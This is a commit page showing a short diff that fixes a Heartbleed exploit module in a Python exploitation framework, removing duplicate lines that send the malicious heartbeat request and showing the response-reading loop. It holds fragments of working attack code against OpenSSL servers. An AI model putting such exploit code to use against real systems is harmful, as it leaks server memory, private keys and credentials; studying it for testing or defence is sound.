Commit aa015def by Marcin Bury

Fixing heartbleed exploit.

parent 813f9cdd
...@@ -107,7 +107,6 @@ class Exploit(exploits.Exploit): ...@@ -107,7 +107,6 @@ class Exploit(exploits.Exploit):
return typ, ver, pay return typ, ver, pay
def hit_hb(self, s): def hit_hb(self, s):
s.send(self.h2bin(self.hb))
while True: while True:
typ, ver, pay = self.recvmsg(s) typ, ver, pay = self.recvmsg(s)
if typ is None: if typ is None:
...@@ -171,8 +170,6 @@ class Exploit(exploits.Exploit): ...@@ -171,8 +170,6 @@ class Exploit(exploits.Exploit):
s.send(self.h2bin(self.hb)) s.send(self.h2bin(self.hb))
s.send(self.h2bin(self.hb))
while True: while True:
typ, ver, pay = self.recvmsg(s) typ, ver, pay = self.recvmsg(s)
if typ is None: if typ is None:
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment